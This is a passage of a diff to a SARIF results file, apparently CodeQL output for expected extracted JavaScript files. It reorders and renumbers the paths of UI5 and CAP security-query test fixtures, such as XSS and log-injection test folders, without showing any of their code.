"javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 77 + "index" : 78 } } } ], @@ -14104,7 +14206,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/renderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 387 + "index" : 389 } } } ], @@ -14127,7 +14229,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 266 + "index" : 268 } } } ], @@ -14150,7 +14252,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 248 + "index" : 250 } } } ], @@ -14171,9 +14273,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 100 + "index" : 287 } } } ], @@ -14194,9 +14296,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 285 + "index" : 81 } } } ], @@ -14217,9 +14319,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 81 + "index" : 99 } } } ], @@ -14242,7 +14344,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 226 + "index" : 228 } } } ], @@ -14265,7 +14367,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 302 + "index" : 304 } } } ], @@ -14288,7 +14390,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 276 + "index" : 278 } } } ], @@ -14311,7 +14413,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js", "uriBaseId" : "%SRCROOT%", - "index" : 361 + "index" : 363 } } } ], @@ -14332,9 +14434,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 95 + "index" : 64 } } } ], @@ -14355,9 +14457,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service1.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 65 + "index" : 375 } } } ], @@ -14378,9 +14480,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 373 + "index" : 174 } } } ], @@ -14401,9 +14503,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 171 + "index" : 373 } } } ], @@ -14424,9 +14526,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 371 + "index" : 225 } } } ], @@ -14447,9 +14549,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 224 + "index" : 408 } } } ], @@ -14470,9 +14572,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-webc-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 407 + "index" : 219 } } } ], @@ -14493,9 +14595,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", "uriBaseId" : "%SRCROOT%", - "index" : 217 + "index" : 202 } } } ], @@ -14516,9 +14618,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/utils/CustomLogListener.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 201 + "index" : 381 } } } ], @@ -14539,9 +14641,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js", "uriBaseId" : "%SRCROOT%", - "index" : 379 + "index" : 253 } } } ], @@ -14562,9 +14664,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js", "uriBaseId" : "%SRCROOT%", - "index" : 251 + "index" : 256 } } } ], @@ -14585,9 +14687,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 254 + "index" : 112 } } } ], @@ -14633,7 +14735,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 389 + "index" : 391 } } } ], @@ -14656,7 +14758,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 108 + "index" : 93 } } } ], @@ -14679,7 +14781,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 398 + "index" : 400 } } } ], @@ -14702,7 +14804,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-remote/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 199 + "index" : 200 } } } ], @@ -14725,7 +14827,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 72 + "index" : 71 } } } ], @@ -14748,7 +14850,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 401 + "index" : 413 } } } ], @@ -14771,7 +14873,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 174 + "index" : 179 } } } ], @@ -14794,7 +14896,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 278 + "index" : 280 } } } ], @@ -14817,7 +14919,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js", "uriBaseId" : "%SRCROOT%", - "index" : 124 + "index" : 125 } } } ], @@ -14863,7 +14965,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 184 + "index" : 187 } } } ], @@ -14886,7 +14988,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 343 + "index" : 345 } } } ], @@ -14909,7 +15011,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 155 + "index" : 157 } } } ], @@ -14932,7 +15034,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js", "uriBaseId" : "%SRCROOT%", - "index" : 250 + "index" : 252 } } } ], @@ -14955,7 +15057,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 112 + "index" : 111 } } } ], @@ -14978,7 +15080,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 45 + "index" : 43 } } } ], @@ -15001,7 +15103,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 207 + "index" : 209 } } } ], @@ -15024,7 +15126,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 365 + "index" : 367 } } } ], @@ -15093,7 +15195,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/srv/privileged-user.js", "uriBaseId" : "%SRCROOT%", - "index" : 56 + "index" : 57 } } } ], @@ -15116,7 +15218,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js", "uriBaseId" : "%SRCROOT%", - "index" : 127 + "index" : 128 } } } ], @@ -15139,7 +15241,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 30 + "index" : 31 } } } ], @@ -15160,9 +15262,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service2-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 102 + "index" : 149 } } } ], @@ -15183,9 +15285,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", "uriBaseId" : "%SRCROOT%", - "index" : 148 + "index" : 364 } } } ], @@ -15206,9 +15308,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 362 + "index" : 321 } } } ], @@ -15229,9 +15331,32 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 319 + "index" : 105 + } + } + } ], + "message" : { + "text" : "" + }, + "level" : "none", + "descriptor" : { + "id" : "cli/expected-extracted-files/javascript", + "index" : 0 + }, + "properties" : { + "formattedMessage" : { + "text" : "" + } + } + }, { + "locations" : [ { + "physicalLocation" : { + "artifactLocation" : { + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js", + "uriBaseId" : "%SRCROOT%", + "index" : 101 } } } ], @@ -15254,7 +15379,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 363 + "index" : 365 } } } ], @@ -15277,7 +15402,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 335 + "index" : 337 } } } ], @@ -15300,7 +15425,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 360 + "index" : 362 } } } ], @@ -15323,7 +15448,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 180 + "index" : 181 } } } ], @@ -15346,7 +15471,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 67 + "index" : 68 } } } ], @@ -15369,7 +15494,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer-byname/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 397 + "index" : 399 } } } ], @@ -15392,7 +15517,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 321 + "index" : 323 } } } ], @@ -15415,7 +15540,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-cds-authz/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 27 + "index" : 28 } } } ], @@ -15438,7 +15563,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 89 + "index" : 88 } } } ], @@ -15461,7 +15586,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 70 + "index" : 69 } } } ], @@ -15484,7 +15609,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/dummy-authentication/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 74 + "index" : 75 } } } ], @@ -15507,7 +15632,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/view/app.view.js", "uriBaseId" : "%SRCROOT%", - "index" : 375 + "index" : 377 } } } ], @@ -15530,7 +15655,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js", "uriBaseId" : "%SRCROOT%", - "index" : 256 + "index" : 258 } } } ], @@ -15553,7 +15678,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 145 + "index" : 148 } } } ], @@ -15576,7 +15701,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 329 + "index" : 331 } } } ], @@ -15599,7 +15724,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/default-is-privileged/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 53 + "index" : 52 } } } ], @@ -15622,7 +15747,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 354 + "index" : 356 } } } ], @@ -15645,7 +15770,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 337 + "index" : 339 } } } ], @@ -15668,7 +15793,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 327 + "index" : 329 } } } ], @@ -15689,9 +15814,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 172 + "index" : 107 } } } ], @@ -15712,9 +15837,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/heuristic-models/tests/Sources/test.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 4 + "index" : 173 } } } ], @@ -15735,9 +15860,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js", + "uri" : "javascript/heuristic-models/tests/Sources/test.js", "uriBaseId" : "%SRCROOT%", - "index" : 346 + "index" : 4 } } } ], @@ -15758,9 +15883,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 242 + "index" : 348 } } } ], @@ -15781,9 +15906,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 381 + "index" : 244 } } } ], @@ -15804,9 +15929,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-json-view/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 109 + "index" : 383 } } } ], @@ -15829,7 +15954,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 215 + "index" : 217 } } } ], @@ -15850,9 +15975,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 388 + "index" : 96 } } } ], @@ -15873,9 +15998,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 303 + "index" : 390 } } } ], @@ -15896,9 +16021,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 352 + "index" : 305 } } } ], @@ -15919,9 +16044,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 116 + "index" : 354 } } } ], @@ -15942,9 +16067,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 391 + "index" : 100 } } } ], @@ -15965,9 +16090,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", + "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 63 + "index" : 116 } } } ], @@ -15988,9 +16113,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/srv/service2.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-separate-renderer/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 38 + "index" : 393 } } } ], @@ -16011,9 +16136,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/server.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/basic-authentication/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 55 + "index" : 62 } } } ], @@ -16034,9 +16159,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 257 + "index" : 38 } } } ], @@ -16057,9 +16182,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/misused-privileged-user/dynamically-generated-privileged/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 311 + "index" : 55 } } } ], @@ -16080,9 +16205,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/server.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js", "uriBaseId" : "%SRCROOT%", - "index" : 91 + "index" : 259 } } } ], @@ -16103,9 +16228,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 80 + "index" : 313 } } } ], @@ -16128,7 +16253,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 214 + "index" : 216 } } } ], @@ -16149,9 +16274,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/nonprod-authn-strategy/mocked-authentication/srv/service1.js", "uriBaseId" : "%SRCROOT%", - "index" : 165 + "index" : 79 } } } ], @@ -16172,9 +16297,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 0 + "index" : 169 } } } ], @@ -16195,9 +16320,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/avoid-duplicate-alerts/XssTest.js", "uriBaseId" : "%SRCROOT%", - "index" : 33 + "index" : 0 } } } ], @@ -16220,7 +16345,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 232 + "index" : 233 } } } ], @@ -16241,9 +16366,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-js-authz/server.js", "uriBaseId" : "%SRCROOT%", - "index" : 294 + "index" : 34 } } } ], @@ -16264,9 +16389,9 @@ "locations" : [ { "physicalLocation" : { "artifactLocation" : { - "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-service1-protocol-none/srv/service1.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", - "index" : 93 + "index" : 296 } } } ], @@ -16289,7 +16414,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/cap/test/queries/bad-authn-authz/entities-with-no-authz/entities-exposed-with-no-authz/srv/service2.js", "uriBaseId" : "%SRCROOT%", - "index" : 44 + "index" : 45 } } } ], @@ -16312,7 +16437,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-entry-flows-to-notifications/webapp/index.js", "uriBaseId" : "%SRCROOT%", - "index" : 191 + "index" : 192 } } } ], @@ -16335,7 +16460,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", - "index" : 146 + "index" : 147 } } } ], @@ -16358,7 +16483,7 @@ "artifactLocation" : { "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js", "uriBaseId" : "%SRCROOT%", - "index" : 261 + "index" : 263 } } } ], @@ -16379,9 